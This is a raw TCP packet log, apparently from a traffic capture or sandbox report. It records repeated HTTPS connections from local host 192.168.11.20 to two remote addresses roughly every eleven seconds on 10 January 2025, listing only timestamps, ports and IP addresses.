Jan 10, 2025 15:33:38.464885950 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.464885950 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.465199947 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.465200901 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.465245962 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.465487957 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:48.488873005 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.488970041 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:48.489168882 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.489352942 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.489406109 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:48.750247955 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:48.750519037 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.751005888 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.751050949 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:48.751162052 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:48.751208067 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:49.023407936 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:49.023591995 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:49.023591042 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:49.023818970 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:49.023878098 CET	49764	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:49.023919106 CET	443	49764	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:49.046453953 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.046533108 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.046756029 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.046885967 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.046933889 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.299890041 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.300131083 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.300988913 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.301000118 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.301148891 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.301158905 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654134035 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654328108 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.654385090 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654421091 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654548883 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.654597044 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654613972 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.654624939 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:49.654726982 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.654884100 CET	49765	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:49.654936075 CET	443	49765	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:59.705171108 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.705259085 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:59.705532074 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.705718040 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.705749989 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:59.966015100 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:59.966278076 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.966710091 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.966753960 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:59.966857910 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:59.966903925 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:00.235867977 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:00.236059904 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:00.236114025 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:00.236226082 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:00.236289978 CET	49766	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:00.236330032 CET	443	49766	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:00.270894051 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.270971060 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.271158934 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.271462917 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.271471977 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.529088974 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.529316902 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.529856920 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.529901981 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.529934883 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.529958010 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.873712063 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.873923063 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.873960972 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.873985052 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.874136925 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.874200106 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.874327898 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.874491930 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.874491930 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:00.874551058 CET	443	49767	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:00.874922991 CET	49767	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:10.921492100 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:10.921557903 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:10.921905041 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:10.922126055 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:10.922163010 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.179975986 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.180197001 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.180485010 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.180500031 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.180687904 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.180702925 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.452215910 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.452330112 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.452430964 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.452563047 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.452651978 CET	49768	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:11.452691078 CET	443	49768	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:11.458353996 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.458405018 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:11.458652973 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.458787918 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.458813906 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:11.714010000 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:11.714158058 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.714617968 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.714651108 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:11.714898109 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:11.714930058 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.061458111 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.061654091 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.061655045 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.061696053 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.061775923 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.061876059 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.061876059 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.061916113 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.062237024 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.062237024 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:12.062284946 CET	443	49769	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:12.062478065 CET	49769	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:22.075263977 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.075373888 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.075571060 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.075762033 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.075817108 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.329076052 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.329214096 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.329562902 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.329576015 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.329698086 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.329710960 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.883505106 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.883558989 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.883718014 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.883816004 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.883816004 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.883831024 CET	443	49770	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:22.883929968 CET	49770	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:22.912261009 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:22.912286043 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:22.912453890 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:22.912612915 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:22.912625074 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.165533066 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.165827990 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.166135073 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.166152000 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.166213989 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.166224003 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.529778957 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.529903889 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.530047894 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.530101061 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.530117035 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.530303955 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.530352116 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:23.530514956 CET	443	49771	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:23.530690908 CET	49771	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:33.541639090 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.541688919 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:33.541873932 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.542077065 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.542100906 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:33.797200918 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:33.797362089 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.797647953 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.797672033 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:33.797741890 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:33.797764063 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:34.091392040 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:34.091623068 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:34.091650963 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:34.091835022 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:34.091943979 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:34.092031956 CET	443	49772	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:34.092215061 CET	49772	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:34.113231897 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.113274097 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.113405943 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.113564014 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.113586903 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.376521111 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.376739025 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.376739979 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.378060102 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.378077030 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.378663063 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.378825903 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.379089117 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.422215939 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.766330957 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.766494989 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.766534090 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.766556025 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.766676903 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.766676903 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.766711950 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.766968012 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.767045021 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.767045021 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:34.767091990 CET	443	49773	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:34.767294884 CET	49773	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:44.773413897 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:44.773516893 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:44.773655891 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:44.773905039 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:44.773948908 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.035342932 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.035578966 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.035578966 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.038264990 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.038470984 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.039959908 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.040007114 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.040966034 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.041142941 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.041475058 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.082299948 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.305649996 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.305885077 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.305965900 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.306035995 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.306158066 CET	443	49774	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:45.306185007 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.306287050 CET	49774	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:45.363475084 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.363553047 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:45.363774061 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.364020109 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.364074945 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:45.650281906 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:45.650506973 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.651000977 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.651046038 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:45.651151896 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:45.651210070 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:46.003674984 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:46.003851891 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:46.003904104 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:46.004070997 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:46.004096985 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:46.004220963 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:46.004318953 CET	49775	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:46.004369020 CET	443	49775	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:56.020993948 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.021085024 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.021351099 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.021575928 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.021626949 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.275162935 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.275520086 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.275520086 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.275819063 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.276021004 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.277264118 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.277285099 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.277570963 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.277714968 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.277978897 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.322226048 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.550975084 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.551153898 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.551176071 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.551373005 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.551461935 CET	49776	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:34:56.551512957 CET	443	49776	142.250.190.110	192.168.11.20
Jan 10, 2025 15:34:56.587007046 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.587038040 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:56.587347984 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.587451935 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.587464094 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:56.843944073 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:56.844580889 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.844923973 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.844945908 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:56.845076084 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:56.845098019 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.209732056 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.209963083 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.210057020 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:57.210089922 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.210122108 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.210329056 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:57.210330009 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:57.210527897 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:57.210527897 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:34:57.210580111 CET	443	49777	142.250.190.97	192.168.11.20
Jan 10, 2025 15:34:57.210762978 CET	49777	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:07.221574068 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.221668005 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.221870899 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.222069025 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.222111940 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.481576920 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.481765985 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.482098103 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.482131958 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.482182980 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.482207060 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.753756046 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.754033089 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.754034996 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.754184008 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.754314899 CET	49778	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:07.754363060 CET	443	49778	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:07.784815073 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:07.784895897 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:07.785114050 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:07.785305023 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:07.785356998 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.091720104 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.091921091 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.092349052 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.092395067 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.092499971 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.092547894 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.445502996 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.445703983 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.445766926 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.445804119 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.446010113 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:11.446022034 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.446213007 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.446403980 CET	49779	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:11.446461916 CET	443	49779	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:21.453610897 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.453705072 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.453896046 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.454905033 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.454994917 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.716140985 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.716337919 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.716801882 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.716876030 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.716902971 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.716922998 CET	443	49780	142.250.190.110	192.168.11.20
